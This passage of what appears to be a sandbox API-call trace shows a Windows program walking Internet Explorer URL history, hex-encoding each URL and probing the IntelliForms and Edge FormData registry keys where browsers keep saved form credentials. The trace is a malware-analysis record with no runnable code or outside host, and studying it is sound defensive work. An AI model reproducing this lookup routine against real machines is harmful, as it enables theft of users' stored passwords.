lstrcpyA (in: lpString1=0x750a48, lpString2="E0523C5F22A0A14724A7F599774FC444ECDB63ED" | out: lpString1="E0523C5F22A0A14724A7F599774FC444ECDB63ED") returned="E0523C5F22A0A14724A7F599774FC444ECDB63ED" [0053.550] lstrcatA (in: lpString1="E0523C5F22A0A14724A7F599774FC444ECDB63ED", lpString2="B5" | out: lpString1="E0523C5F22A0A14724A7F599774FC444ECDB63EDB5") returned="E0523C5F22A0A14724A7F599774FC444ECDB63EDB5" [0053.550] LocalFree (hMem=0x750bb8) returned 0x0 [0053.550] RegOpenKeyExA (in: hKey=0x80000001, lpSubKey="Software\\Microsoft\\Internet Explorer\\IntelliForms\\Storage2", ulOptions=0x0, samDesired=0x20019, phkResult=0xefc8c | out: phkResult=0xefc8c*=0x0) returned 0x2 [0053.550] RegOpenKeyExA (in: hKey=0x80000001, lpSubKey="Software\\Microsoft\\Internet Explorer\\IntelliForms\\Storage2", ulOptions=0x0, samDesired=0x20219, phkResult=0xefc60 | out: phkResult=0xefc60*=0x0) returned 0x2 [0053.550] RegOpenKeyExA (in: hKey=0x80000001, lpSubKey="Software\\Microsoft\\Internet Explorer\\IntelliForms\\Storage2", ulOptions=0x0, samDesired=0x20119, phkResult=0xefc34 | out: phkResult=0xefc34*=0x0) returned 0x2 [0053.550] RegOpenKeyExA (in: hKey=0x80000001, lpSubKey="SOFTWARE\\Classes\\Local Settings\\Software\\Microsoft\\Windows\\CurrentVersion\\AppContainer\\Storage\\microsoft.microsoftedge_8wekyb3d8bbwe\\MicrosoftEdge\\IntelliForms\\FormData", ulOptions=0x0, samDesired=0x20019, phkResult=0xefc8c | out: phkResult=0xefc8c*=0x0) returned 0x2 [0053.550] RegOpenKeyExA (in: hKey=0x80000001, lpSubKey="SOFTWARE\\Classes\\Local Settings\\Software\\Microsoft\\Windows\\CurrentVersion\\AppContainer\\Storage\\microsoft.microsoftedge_8wekyb3d8bbwe\\MicrosoftEdge\\IntelliForms\\FormData", ulOptions=0x0, samDesired=0x20219, phkResult=0xefc60 | out: phkResult=0xefc60*=0x0) returned 0x2 [0053.550] RegOpenKeyExA (in: hKey=0x80000001, lpSubKey="SOFTWARE\\Classes\\Local Settings\\Software\\Microsoft\\Windows\\CurrentVersion\\AppContainer\\Storage\\microsoft.microsoftedge_8wekyb3d8bbwe\\MicrosoftEdge\\IntelliForms\\FormData", ulOptions=0x0, samDesired=0x20119, phkResult=0xefc34 | out: phkResult=0xefc34*=0x0) returned 0x2 [0053.550] LocalFree (hMem=0x750a48) returned 0x0 [0053.551] CoTaskMemFree (pv=0x748610) [0053.551] IEnumSTATURL:Next (in: This=0x75a808, celt=0x1, rgelt=0xefd34, pceltFetched=0xefd30*=0x0 | out: rgelt=0xefd34, pceltFetched=0xefd30*=0x1) returned 0x0 [0053.551] StrStrIW (lpFirst="file:///C:/Users/aDU0VK%20IWA5kLS/Desktop/0uK2pZE4%20F/VGfhZ3EbYU1Pi2.jpg", lpSrch="?") returned 0x0 [0053.551] lstrlenW (lpString="file:///C:/Users/aDU0VK%20IWA5kLS/Desktop/0uK2pZE4%20F/VGfhZ3EbYU1Pi2.jpg") returned 73 [0053.551] wsprintfA (in: param_1=0xefcf0, param_2="%02X" | out: param_1="67") returned 2 [0053.551] lstrlenA (lpString="") returned 0 [0053.551] lstrlenA (lpString="67") returned 2 [0053.551] LocalAlloc (uFlags=0x40, uBytes=0x83) returned 0x75fb80 [0053.551] lstrcpyA (in: lpString1=0x75fb80, lpString2="" | out: lpString1="") returned="" [0053.551] lstrcatA (in: lpString1="", lpString2="67" | out: lpString1="67") returned="67" [0053.551] wsprintfA (in: param_1=0xefcf0, param_2="%02X" | out: param_1="B4") returned 2 [0053.551] lstrlenA (lpString="67") returned 2 [0053.551] lstrlenA (lpString="B4") returned 2 [0053.551] LocalAlloc (uFlags=0x40, uBytes=0x85) returned 0x75fd30 [0053.551] lstrcpyA (in: lpString1=0x75fd30, lpString2="67" | out: lpString1="67") returned="67" [0053.551] lstrcatA (in: lpString1="67", lpString2="B4" | out: lpString1="67B4") returned="67B4" [0053.551] LocalFree (hMem=0x75fb80) returned 0x0 [0053.551] wsprintfA (in: param_1=0xefcf0, param_2="%02X" | out: param_1="3E") returned 2 [0053.551] lstrlenA (lpString="67B4") returned 4 [0053.551] lstrlenA (lpString="3E") returned 2 [0053.551] LocalAlloc (uFlags=0x40, uBytes=0x87) returned 0x75fb80 [0053.551] lstrcpyA (in: lpString1=0x75fb80, lpString2="67B4" | out: lpString1="67B4") returned="67B4" [0053.551] lstrcatA (in: lpString1="67B4", lpString2="3E" | out: lpString1="67B43E") returned="67B43E" [0053.551] LocalFree (hMem=0x75fd30) returned 0x0 [0053.551] wsprintfA (in: param_1=0xefcf0, param_2="%02X" | out: param_1="B1") returned 2 [0053.551] lstrlenA (lpString="67B43E") returned 6 [0053.551] lstrlenA (lpString="B1") returned 2 [0053.551] LocalAlloc (uFlags=0x40, uBytes=0x89) returned 0x763290 [0053.551] lstrcpyA (in: lpString1=0x763290, lpString2="67B43E" | out: lpString1="67B43E") returned="67B43E" [0053.551] lstrcatA (in: lpString1="67B43E", lpString2="B1" | out: lpString1="67B43EB1") returned="67B43EB1" [0053.551] LocalFree (hMem=0x75fb80) returned 0x0 [0053.551] wsprintfA (in: param_1=0xefcf0, param_2="%02X" | out: param_1="99") returned 2 [0053.551] lstrlenA (lpString="67B43EB1") returned 8 [0053.551] lstrlenA (lpString="99") returned 2 [0053.551] LocalAlloc (uFlags=0x40, uBytes=0x8b) returned 0x763328 [0053.551] lstrcpyA (in: lpString1=0x763328, lpString2="67B43EB1" | out: lpString1="67B43EB1") returned="67B43EB1" [0053.551] lstrcatA (in: lpString1="67B43EB1", lpString2="99" | out: lpString1="67B43EB199") returned="67B43EB199" [0053.551] LocalFree (hMem=0x763290) returned 0x0 [0053.551] wsprintfA (in: param_1=0xefcf0, param_2="%02X" | out: param_1="1A") returned 2 [0053.551] lstrlenA (lpString="67B43EB199") returned 10 [0053.551] lstrlenA (lpString="1A") returned 2 [0053.551] LocalAlloc (uFlags=0x40, uBytes=0x8d) returned 0x763290 [0053.551] lstrcpyA (in: lpString1=0x763290, lpString2="67B43EB199" | out: lpString1="67B43EB199") returned="67B43EB199" [0053.551] lstrcatA (in: lpString1="67B43EB199", lpString2="1A" | out: lpString1="67B43EB1991A") returned="67B43EB1991A" [0053.551] LocalFree (hMem=0x763328) returned 0x0 [0053.551] wsprintfA (in: param_1=0xefcf0, param_2="%02X" | out: param_1="13") returned 2 [0053.551] lstrlenA (lpString="67B43EB1991A") returned 12 [0053.551] lstrlenA (lpString="13") returned 2 [0053.551] LocalAlloc (uFlags=0x40, uBytes=0x8f) returned 0x763328 [0053.551] lstrcpyA (in: lpString1=0x763328, lpString2="67B43EB1991A" | out: lpString1="67B43EB1991A") returned="67B43EB1991A" [0053.551] lstrcatA (in: lpString1="67B43EB1991A", lpString2="13" | out: lpString1="67B43EB1991A13") returned="67B43EB1991A13" [0053.551] LocalFree (hMem=0x763290) returned 0x0 [0053.552] wsprintfA (in: param_1=0xefcf0, param_2="%02X" | out: param_1="30") returned 2 [0053.552] lstrlenA (lpString="67B43EB1991A13") returned 14 [0053.552] lstrlenA (lpString="30") returned 2 [0053.552] LocalAlloc (uFlags=0x40, uBytes=0x91) returned 0x7633c0 [0053.552] lstrcpyA (in: lpString1=0x7633c0, lpString2="67B43EB1991A13" | out: lpString1="67B43EB1991A13") returned="67B43EB1991A13" [0053.552] lstrcatA (in: lpString1="67B43EB1991A13", lpString2="30" | out: lpString1="67B43EB1991A1330") returned="67B43EB1991A1330" [0053.552] LocalFree (hMem=0x763328) returned 0x0 [0053.552] wsprintfA (in: param_1=0xefcf0, param_2="%02X" | out: param_1="8A") returned 2 [0053.552] lstrlenA (lpString="67B43EB1991A1330") returned 16 [0053.552] lstrlenA (lpString="8A") returned 2 [0053.552] LocalAlloc (uFlags=0x40, uBytes=0x93) returned 0x763478 [0053.552] lstrcpyA (in: lpString1=0x763478, lpString2="67B43EB1991A1330" | out: lpString1="67B43EB1991A1330") returned="67B43EB1991A1330" [0053.552] lstrcatA (in: lpString1="67B43EB1991A1330", lpString2="8A" | out: lpString1="67B43EB1991A13308A") returned="67B43EB1991A13308A" [0053.552] LocalFree (hMem=0x7633c0) returned 0x0 [0053.552] wsprintfA (in: param_1=0xefcf0, param_2="%02X" | out: param_1="58") returned 2 [0053.552] lstrlenA (lpString="67B43EB1991A13308A") returned 18 [0053.552] lstrlenA (lpString="58") returned 2 [0053.552] LocalAlloc (uFlags=0x40, uBytes=0x95) returned 0x763518 [0053.552] lstrcpyA (in: lpString1=0x763518, lpString2="67B43EB1991A13308A" | out: lpString1="67B43EB1991A13308A") returned="67B43EB1991A13308A" [0053.552] lstrcatA (in: lpString1="67B43EB1991A13308A", lpString2="58" | out: lpString1="67B43EB1991A13308A58") returned="67B43EB1991A13308A58" [0053.552] LocalFree (hMem=0x763478) returned 0x0 [0053.552] wsprintfA (in: param_1=0xefcf0, param_2="%02X" | out: param_1="F7") returned 2 [0053.552] lstrlenA (lpString="67B43EB1991A13308A58") returned 20 [0053.552] lstrlenA (lpString="F7") returned 2 [0053.552] LocalAlloc (uFlags=0x40, uBytes=0x97) returned 0x763478 [0053.552] lstrcpyA (in: lpString1=0x763478, lpString2="67B43EB1991A13308A58" | out: lpString1="67B43EB1991A13308A58") returned="67B43EB1991A13308A58" [0053.552] lstrcatA (in: lpString1="67B43EB1991A13308A58", lpString2="F7" | out: lpString1="67B43EB1991A13308A58F7") returned="67B43EB1991A13308A58F7" [0053.552] LocalFree (hMem=0x763518) returned 0x0 [0053.552] wsprintfA (in: param_1=0xefcf0, param_2="%02X" | out: param_1="7A") returned 2 [0053.552] lstrlenA (lpString="67B43EB1991A13308A58F7") returned 22 [0053.552] lstrlenA (lpString="7A") returned 2 [0053.552] LocalAlloc (uFlags=0x40, uBytes=0x99) returned 0x758a18 [0053.552] lstrcpyA (in: lpString1=0x758a18, lpString2="67B43EB1991A13308A58F7" | out: lpString1="67B43EB1991A13308A58F7") returned="67B43EB1991A13308A58F7" [0053.552] lstrcatA (in: lpString1="67B43EB1991A13308A58F7", lpString2="7A" | out: lpString1="67B43EB1991A13308A58F77A") returned="67B43EB1991A13308A58F77A" [0053.552] LocalFree (hMem=0x763478) returned 0x0 [0053.552] wsprintfA (in: param_1=0xefcf0, param_2="%02X" | out: param_1="A6") returned 2 [0053.552] lstrlenA (lpString="67B43EB1991A13308A58F77A") returned 24 [0053.552] lstrlenA (lpString="A6") returned 2 [0053.552] LocalAlloc (uFlags=0x40, uBytes=0x9b) returned 0x758820 [0053.552] lstrcpyA (in: lpString1=0x758820, lpString2="67B43EB1991A13308A58F77A" | out: lpString1="67B43EB1991A13308A58F77A") returned="67B43EB1991A13308A58F77A" [0053.552] lstrcatA (in: lpString1="67B43EB1991A13308A58F77A", lpString2="A6" | out: lpString1="67B43EB1991A13308A58F77AA6") returned="67B43EB1991A13308A58F77AA6" [0053.552] LocalFree (hMem=0x758a18) returned 0x0 [0053.552] wsprintfA (in: param_1=0xefcf0, param_2="%02X" | out: param_1="0E") returned 2 [0053.552] lstrlenA (lpString="67B43EB1991A13308A58F77AA6") returned 26 [0053.552] lstrlenA (lpString="0E") returned 2 [0053.552] LocalAlloc (uFlags=0x40, uBytes=0x9d) returned 0x758a18 [0053.552] lstrcpyA (in: lpString1=0x758a18, lpString2="67B43EB1991A13308A58F77AA6" | out: lpString1="67B43EB1991A13308A58F77AA6") returned="67B43EB1991A13308A58F77AA6" [0053.552] lstrcatA (in: lpString1="67B43EB1991A13308A58F77AA6", lpString2="0E" | out: lpString1="67B43EB1991A13308A58F77AA60E") returned="67B43EB1991A13308A58F77AA60E" [0053.552] LocalFree (hMem=0x758820) returned 0x0 [0053.552] wsprintfA (in: param_1=0xefcf0, param_2="%02X" | out: param_1="E4") returned 2 [0053.552] lstrlenA (lpString="67B43EB1991A13308A58F77AA60E") returned 28 [0053.552] lstrlenA (lpString="E4") returned 2 [0053.552] LocalAlloc (uFlags=0x40, uBytes=0x9f) returned 0x758820 [0053.552] lstrcpyA (in: lpString1=0x758820, lpString2="67B43EB1991A13308A58F77AA60E" | out: lpString1="67B43EB1991A13308A58F77AA60E") returned="67B43EB1991A13308A58F77AA60E" [0053.552] lstrcatA (in: lpString1="67B43EB1991A13308A58F77AA60E", lpString2="E4" | out: lpString1="67B43EB1991A13308A58F77AA60EE4") returned="67B43EB1991A13308A58F77AA60EE4" [0053.552] LocalFree (hMem=0x758a18) returned 0x0 [0053.553] wsprintfA (in: param_1=0xefcf0, param_2="%02X" | out: param_1="2C") returned 2 [0053.553] lstrlenA (lpString="67B43EB1991A13308A58F77AA60EE4") returned 30 [0053.553] lstrlenA (lpString="2C") returned 2 [0053.553] LocalAlloc (uFlags=0x40, uBytes=0xa1) returned 0x754b90 [0053.553] lstrcpyA (in: lpString1=0x754b90, lpString2="67B43EB1991A13308A58F77AA60EE4" | out: lpString1="67B43EB1991A13308A58F77AA60EE4") returned="67B43EB1991A13308A58F77AA60EE4" [0053.553] lstrcatA (in: lpString1="67B43EB1991A13308A58F77AA60EE4", lpString2="2C" | out: lpString1="67B43EB1991A13308A58F77AA60EE42C") returned="67B43EB1991A13308A58F77AA60EE42C" [0053.553] LocalFree (hMem=0x758820) returned 0x0 [0053.553] wsprintfA (in: param_1=0xefcf0, param_2="%02X" | out: param_1="0E") returned 2 [0053.553] lstrlenA (lpString="67B43EB1991A13308A58F77AA60EE42C") returned 32 [0053.553] lstrlenA (lpString="0E") returned 2 [0053.553] LocalAlloc (uFlags=0x40, uBytes=0xa3) returned 0x754cf0 [0053.553] lstrcpyA (in: lpString1=0x754cf0, lpString2="67B43EB1991A13308A58F77AA60EE42C" | out: lpString1="67B43EB1991A13308A58F77AA60EE42C") returned="67B43EB1991A13308A58F77AA60EE42C" [0053.553] lstrcatA (in: lpString1="67B43EB1991A13308A58F77AA60EE42C", lpString2="0E" | out: lpString1="67B43EB1991A13308A58F77AA60EE42C0E") returned="67B43EB1991A13308A58F77AA60EE42C0E" [0053.553] LocalFree (hMem=0x754b90) returned 0x0 [0053.553] wsprintfA (in: param_1=0xefcf0, param_2="%02X" | out: param_1="12") returned 2 [0053.553] lstrlenA (lpString="67B43EB1991A13308A58F77AA60EE42C0E") returned 34 [0053.553] lstrlenA (lpString="12") returned 2 [0053.553] LocalAlloc (uFlags=0x40, uBytes=0xa5) returned 0x754b90 [0053.553] lstrcpyA (in: lpString1=0x754b90, lpString2="67B43EB1991A13308A58F77AA60EE42C0E" | out: lpString1="67B43EB1991A13308A58F77AA60EE42C0E") returned="67B43EB1991A13308A58F77AA60EE42C0E" [0053.553] lstrcatA (in: lpString1="67B43EB1991A13308A58F77AA60EE42C0E", lpString2="12" | out: lpString1="67B43EB1991A13308A58F77AA60EE42C0E12") returned="67B43EB1991A13308A58F77AA60EE42C0E12" [0053.553] LocalFree (hMem=0x754cf0) returned 0x0 [0053.553] wsprintfA (in: param_1=0xefcf0, param_2="%02X" | out: param_1="27") returned 2 [0053.553] lstrlenA (lpString="67B43EB1991A13308A58F77AA60EE42C0E12") returned 36 [0053.553] lstrlenA (lpString="27") returned 2 [0053.553] LocalAlloc (uFlags=0x40, uBytes=0xa7) returned 0x754cf0 [0053.553] lstrcpyA (in: lpString1=0x754cf0, lpString2="67B43EB1991A13308A58F77AA60EE42C0E12" | out: lpString1="67B43EB1991A13308A58F77AA60EE42C0E12") returned="67B43EB1991A13308A58F77AA60EE42C0E12" [0053.553] lstrcatA (in: lpString1="67B43EB1991A13308A58F77AA60EE42C0E12", lpString2="27" | out: lpString1="67B43EB1991A13308A58F77AA60EE42C0E1227") returned="67B43EB1991A13308A58F77AA60EE42C0E1227" [0053.553] LocalFree (hMem=0x754b90) returned 0x0 [0053.553] wsprintfA (in: param_1=0xefcf0, param_2="%02X" | out: param_1="EC") returned 2 [0053.553] lstrlenA (lpString="67B43EB1991A13308A58F77AA60EE42C0E1227") returned 38 [0053.553] lstrlenA (lpString="EC") returned 2 [0053.553] LocalAlloc (uFlags=0x40, uBytes=0xa9) returned 0x750a48 [0053.553] lstrcpyA (in: lpString1=0x750a48, lpString2="67B43EB1991A13308A58F77AA60EE42C0E1227" | out: lpString1="67B43EB1991A13308A58F77AA60EE42C0E1227") returned="67B43EB1991A13308A58F77AA60EE42C0E1227" [0053.553] lstrcatA (in: lpString1="67B43EB1991A13308A58F77AA60EE42C0E1227", lpString2="EC" | out: lpString1="67B43EB1991A13308A58F77AA60EE42C0E1227EC") returned="67B43EB1991A13308A58F77AA60EE42C0E1227EC" [0053.553] LocalFree (hMem=0x754cf0) returned 0x0 [0053.553] wsprintfA (in: param_1=0xefcf0, param_2="%02X" | out: param_1="4A") returned 2 [0053.553] lstrlenA (lpString="67B43EB1991A13308A58F77AA60EE42C0E1227EC") returned 40 [0053.553] lstrlenA (lpString="4A") returned 2 [0053.553] LocalAlloc (uFlags=0x40, uBytes=0xab) returned 0x750bb8 [0053.553] lstrcpyA (in: lpString1=0x750bb8, lpString2="67B43EB1991A13308A58F77AA60EE42C0E1227EC" | out: lpString1="67B43EB1991A13308A58F77AA60EE42C0E1227EC") returned="67B43EB1991A13308A58F77AA60EE42C0E1227EC" [0053.553] lstrcatA (in: lpString1="67B43EB1991A13308A58F77AA60EE42C0E1227EC", lpString2="4A" | out: lpString1="67B43EB1991A13308A58F77AA60EE42C0E1227EC4A") returned="67B43EB1991A13308A58F77AA60EE42C0E1227EC4A" [0053.553] LocalFree (hMem=0x750a48) returned 0x0 [0053.553] RegOpenKeyExA (in: hKey=0x80000001, lpSubKey="Software\\Microsoft\\Internet Explorer\\IntelliForms\\Storage2", ulOptions=0x0, samDesired=0x20019, phkResult=0xefc8c | out: phkResult=0xefc8c*=0x0) returned 0x2 [0053.553] RegOpenKeyExA (in: hKey=0x80000001, lpSubKey="Software\\Microsoft\\Internet Explorer\\IntelliForms\\Storage2", ulOptions=0x0, samDesired=0x20219, phkResult=0xefc60 | out: phkResult=0xefc60*=0x0) returned 0x2 [0053.553] RegOpenKeyExA (in: hKey=0x80000001, lpSubKey="Software\\Microsoft\\Internet Explorer\\IntelliForms\\Storage2", ulOptions=0x0, samDesired=0x20119, phkResult=0xefc34 | out: phkResult=0xefc34*=0x0) returned 0x2 [0053.553] RegOpenKeyExA (in: hKey=0x80000001, lpSubKey="SOFTWARE\\Classes\\Local Settings\\Software\\Microsoft\\Windows\\CurrentVersion\\AppContainer\\Storage\\microsoft.microsoftedge_8wekyb3d8bbwe\\MicrosoftEdge\\IntelliForms\\FormData", ulOptions=0x0, samDesired=0x20019, phkResult=0xefc8c | out: phkResult=0xefc8c*=0x0) returned 0x2 [0053.553] RegOpenKeyExA (in: hKey=0x80000001, lpSubKey="SOFTWARE\\Classes\\Local Settings\\Software\\Microsoft\\Windows\\CurrentVersion\\AppContainer\\Storage\\microsoft.microsoftedge_8wekyb3d8bbwe\\MicrosoftEdge\\IntelliForms\\FormData", ulOptions=0x0, samDesired=0x20219, phkResult=0xefc60 | out: phkResult=0xefc60*=0x0) returned 0x2 [0053.554] RegOpenKeyExA (in: hKey=0x80000001, lpSubKey="SOFTWARE\\Classes\\Local Settings\\Software\\Microsoft\\Windows\\CurrentVersion\\AppContainer\\Storage\\microsoft.microsoftedge_8wekyb3d8bbwe\\MicrosoftEdge\\IntelliForms\\FormData", ulOptions=0x0, samDesired=0x20119, phkResult=0xefc34 | out: phkResult=0xefc34*=0x0) returned 0x2 [0053.554] LocalFree (hMem=0x750bb8) returned 0x0 [0053.554] CoTaskMemFree (pv=0x7631f0) [0053.554] IEnumSTATURL:Next (in: This=0x75a808, celt=0x1, rgelt=0xefd34, pceltFetched=0xefd30*=0x0 | out: rgelt=0xefd34, pceltFetched=0xefd30*=0x1) returned 0x0 [0053.554] StrStrIW (lpFirst="file:///C:/Users/aDU0VK%20IWA5kLS/AppData/Roaming/05oewX0nTg7og.odt", lpSrch="?") returned 0x0 [0053.554] lstrlenW (lpString="file:///C:/Users/aDU0VK%20IWA5kLS/AppData/Roaming/05oewX0nTg7og.odt") returned 67 [0053.554] wsprintfA (in: param_1=0xefcf0, param_2="%02X" | out: param_1="61") returned 2 [0053.554] lstrlenA (lpString="") returned 0 [0053.554] lstrlenA (lpString="61") returned 2 [0053.554] LocalAlloc (uFlags=0x40, uBytes=0x83) returned 0x75fee0 [0053.554] lstrcpyA (in: lpString1=0x75fee0, lpString2="" | out: lpString1="") returned="" [0053.554] lstrcatA (in: lpString1="", lpString2="61" | out: lpString1="61") returned="61" [0053.554] wsprintfA (in: param_1=0xefcf0, param_2="%02X" | out: param_1="90") returned 2 [0053.554] lstrlenA (lpString="61") returned 2 [0053.554] lstrlenA (lpString="90") returned 2 [0053.554] LocalAlloc (uFlags=0x40, uBytes=0x85) returned 0x75ff70 [0053.554] lstrcpyA (in: lpString1=0x75ff70, lpString2="61" | out: lpString1="61") returned="61" [0053.554] lstrcatA (in: lpString1="61", lpString2="90" | out: lpString1="6190") returned="6190" [0053.554] LocalFree (hMem=0x75fee0) returned 0x0 [0053.554] wsprintfA (in: param_1=0xefcf0, param_2="%02X" | out: param_1="D2") returned 2 [0053.554] lstrlenA (lpString="6190") returned 4 [0053.554] lstrlenA (lpString="D2") returned 2 [0053.554] LocalAlloc (uFlags=0x40, uBytes=0x87) returned 0x75fee0 [0053.554] lstrcpyA (in: lpString1=0x75fee0, lpString2="6190" | out: lpString1="6190") returned="6190" [0053.554] lstrcatA (in: lpString1="6190", lpString2="D2" | out: lpString1="6190D2") returned="6190D2" [0053.554] LocalFree (hMem=0x75ff70) returned 0x0 [0053.554] wsprintfA (in: param_1=0xefcf0, param_2="%02X" | out: param_1="F3") returned 2 [0053.554] lstrlenA (lpString="6190D2") returned 6 [0053.554] lstrlenA (lpString="F3") returned 2 [0053.554] LocalAlloc (uFlags=0x40, uBytes=0x89) returned 0x7631f0 [0053.554] lstrcpyA (in: lpString1=0x7631f0, lpString2="6190D2" | out: lpString1="6190D2") returned="6190D2" [0053.554] lstrcatA (in: lpString1="6190D2", lpString2="F3" | out: lpString1="6190D2F3") returned="6190D2F3" [0053.554] LocalFree (hMem=0x75fee0) returned 0x0 [0053.554] wsprintfA (in: param_1=0xefcf0, param_2="%02X" | out: param_1="99") returned 2 [0053.554] lstrlenA (lpString="6190D2F3") returned 8 [0053.554] lstrlenA (lpString="99") returned 2 [0053.554] LocalAlloc (uFlags=0x40, uBytes=0x8b) returned 0x763288 [0053.554] lstrcpyA (in: lpString1=0x763288, lpString2="6190D2F3" | out: lpString1="6190D2F3") returned="6190D2F3" [0053.554] lstrcatA (in: lpString1="6190D2F3", lpString2="99" | out: lpString1="6190D2F399") returned="6190D2F399" [0053.554] LocalFree (hMem=0x7631f0) returned 0x0 [0053.554] wsprintfA (in: param_1=0xefcf0, param_2="%02X" | out: param_1="C8") returned 2 [0053.554] lstrlenA (lpString="6190D2F399") returned 10 [0053.554] lstrlenA (lpString="C8") returned 2 [0053.554] LocalAlloc (uFlags=0x40, uBytes=0x8d) returned 0x7631f0 [0053.554] lstrcpyA (in: lpString1=0x7631f0, lpString2="6190D2F399" | out: lpString1="6190D2F399") returned="6190D2F399" [0053.554] lstrcatA (in: lpString1="6190D2F399", lpString2="C8" | out: lpString1="6190D2F399C8") returned="6190D2F399C8" [0053.554] LocalFree (hMem=0x763288) returned 0x0 [0053.555] wsprintfA (in: param_1=0xefcf0, param_2="%02X" | out: param_1="BE") returned 2 [0053.555] lstrlenA (lpString="6190D2F399C8") returned 12 [0053.555] lstrlenA (lpString="BE") returned 2 [0053.555] LocalAlloc (uFlags=0x40, uBytes=0x8f) returned 0x763288 [0053.555] lstrcpyA (in: lpString1=0x763288, lpString2="6190D2F399C8" | out: lpString1="6190D2F399C8") returned="6190D2F399C8" [0053.555] lstrcatA (in: lpString1="6190D2F399C8", lpString2="BE" | out: lpString1="6190D2F399C8BE") returned="6190D2F399C8BE" [0053.555] LocalFree (hMem=0x7631f0) returned 0x0 [0053.555] wsprintfA (in: param_1=0xefcf0, param_2="%02X" | out: param_1="7E") returned 2 [0053.555] lstrlenA (lpString="6190D2F399C8BE") returned 14 [0053.555] lstrlenA (lpString="7E") returned 2 [0053.555] LocalAlloc (uFlags=0x40, uBytes=0x91) returned 0x763478 [0053.555] lstrcpyA (in: lpString1=0x763478, lpString2="6190D2F399C8BE" | out: lpString1="6190D2F399C8BE") returned="6190D2F399C8BE" [0053.555] lstrcatA (in: lpString1="6190D2F399C8BE", lpString2="7E" | out: lpString1="6190D2F399C8BE7E") returned="6190D2F399C8BE7E" [0053.555] LocalFree (hMem=0x763288) returned 0x0 [0053.555] wsprintfA (in: param_1=0xefcf0, param_2="%02X" | out: param_1="75") returned 2 [0053.555] lstrlenA (lpString="6190D2F399C8BE7E") returned 16 [0053.555] lstrlenA (lpString="75") returned 2 [0053.555] LocalAlloc (uFlags=0x40, uBytes=0x93) returned 0x763518 [0053.555] lstrcpyA (in: lpString1=0x763518, lpString2="6190D2F399C8BE7E" | out: lpString1="6190D2F399C8BE7E") returned="6190D2F399C8BE7E" [0053.555] lstrcatA (in: lpString1="6190D2F399C8BE7E", lpString2="75" | out: lpString1="6190D2F399C8BE7E75") returned="6190D2F399C8BE7E75" [0053.555] LocalFree (hMem=0x763478) returned 0x0 [0053.555] wsprintfA (in: param_1=0xefcf0, param_2="%02X" | out: param_1="BF") returned 2 [0053.555] lstrlenA (lpString="6190D2F399C8BE7E75") returned 18 [0053.555] lstrlenA (lpString="BF") returned 2 [0053.555] LocalAlloc (uFlags=0x40, uBytes=0x95) returned 0x763478 [0053.555] lstrcpyA (in: lpString1=0x763478, lpString2="6190D2F399C8BE7E75" | out: lpString1="6190D2F399C8BE7E75") returned="6190D2F399C8BE7E75" [0053.555] lstrcatA (in: lpString1="6190D2F399C8BE7E75", lpString2="BF" | out: lpString1="6190D2F399C8BE7E75BF") returned="6190D2F399C8BE7E75BF" [0053.555] LocalFree (hMem=0x763518) returned 0x0 [0053.555] wsprintfA (in: param_1=0xefcf0, param_2="%02X" | out: param_1="E6") returned 2 [0053.555] lstrlenA (lpString="6190D2F399C8BE7E75BF") returned 20 [0053.555] lstrlenA (lpString="E6") returned 2 [0053.555] LocalAlloc (uFlags=0x40, uBytes=0x97) returned 0x763518 [0053.555] lstrcpyA (in: lpString1=0x763518, lpString2="6190D2F399C8BE7E75BF" | out: lpString1="6190D2F399C8BE7E75BF") returned="6190D2F399C8BE7E75BF" [0053.555] lstrcatA (in: lpString1="6190D2F399C8BE7E75BF", lpString2="E6" | out: lpString1="6190D2F399C8BE7E75BFE6") returned="6190D2F399C8BE7E75BFE6" [0053.555] LocalFree (hMem=0x763478) returned 0x0 [0053.555] wsprintfA (in: param_1=0xefcf0, param_2="%02X" | out: param_1="90") returned 2 [0053.555] lstrlenA (lpString="6190D2F399C8BE7E75BFE6") returned 22 [0053.555] lstrlenA (lpString="90") returned 2 [0053.555] LocalAlloc (uFlags=0x40, uBytes=0x99) returned 0x758820 [0053.555] lstrcpyA (in: lpString1=0x758820, lpString2="6190D2F399C8BE7E75BFE6" | out: lpString1="6190D2F399C8BE7E75BFE6") returned="6190D2F399C8BE7E75BFE6" [0053.555] lstrcatA (in: lpString1="6190D2F399C8BE7E75BFE6", lpString2="90" | out: lpString1="6190D2F399C8BE7E75BFE690") returned="6190D2F399C8BE7E75BFE690" [0053.555] LocalFree (hMem=0x763518) returned 0x0 [0053.555] wsprintfA (in: param_1=0xefcf0, param_2="%02X" | out: param_1="AC") returned 2 [0053.555] lstrlenA (lpString="6190D2F399C8BE7E75BFE690") returned 24 [0053.555] lstrlenA (lpString="AC") returned 2 [0053.555] LocalAlloc (uFlags=0x40, uBytes=0x9b) returned 0x758a18 [0053.555] lstrcpyA (in: lpString1=0x758a18, lpString2="6190D2F399C8BE7E75BFE690" | out: lpString1="6190D2F399C8BE7E75BFE690") returned="6190D2F399C8BE7E75BFE690" [0053.555] lstrcatA (in: lpString1="6190D2F399C8BE7E75BFE690", lpString2="AC" | out: lpString1="6190D2F399C8BE7E75BFE690AC") returned="6190D2F399C8BE7E75BFE690AC" [0053.555] LocalFree (hMem=0x758820) returned 0x0 [0053.555] wsprintfA (in: param_1=0xefcf0, param_2="%02X" | out: param_1="9E") returned 2 [0053.555] lstrlenA (lpString="6190D2F399C8BE7E75BFE690AC") returned 26 [0053.555] lstrlenA (lpString="9E") returned 2 [0053.555] LocalAlloc (uFlags=0x40, uBytes=0x9d) returned 0x758820 [0053.555] lstrcpyA (in: lpString1=0x758820, lpString2="6190D2F399C8BE7E75BFE690AC" | out: lpString1="6190D2F399C8BE7E75BFE690AC") returned="6190D2F399C8BE7E75BFE690AC" [0053.555] lstrcatA (in: lpString1="6190D2F399C8BE7E75BFE690AC", lpString2="9E" | out: lpString1="6190D2F399C8BE7E75BFE690AC9E") returned="6190D2F399C8BE7E75BFE690AC9E" [0053.555] LocalFree (hMem=0x758a18) returned 0x0 [0053.555] wsprintfA (in: param_1=0xefcf0, param_2="%02X" | out: param_1="8E") returned 2 [0053.555] lstrlenA (lpString="6190D2F399C8BE7E75BFE690AC9E") returned 28 [0053.555] lstrlenA (lpString="8E") returned 2 [0053.555] LocalAlloc (uFlags=0x40, uBytes=0x9f) returned 0x758a18 [0053.556] lstrcpyA (in: lpString1=0x758a18, lpString2="6190D2F399C8BE7E75BFE690AC9E" | out: lpString1="6190D2F399C8BE7E75BFE690AC9E") returned="6190D2F399C8BE7E75BFE690AC9E" [0053.556] lstrcatA (in: lpString1="6190D2F399C8BE7E75BFE690AC9E", lpString2="8E" | out: 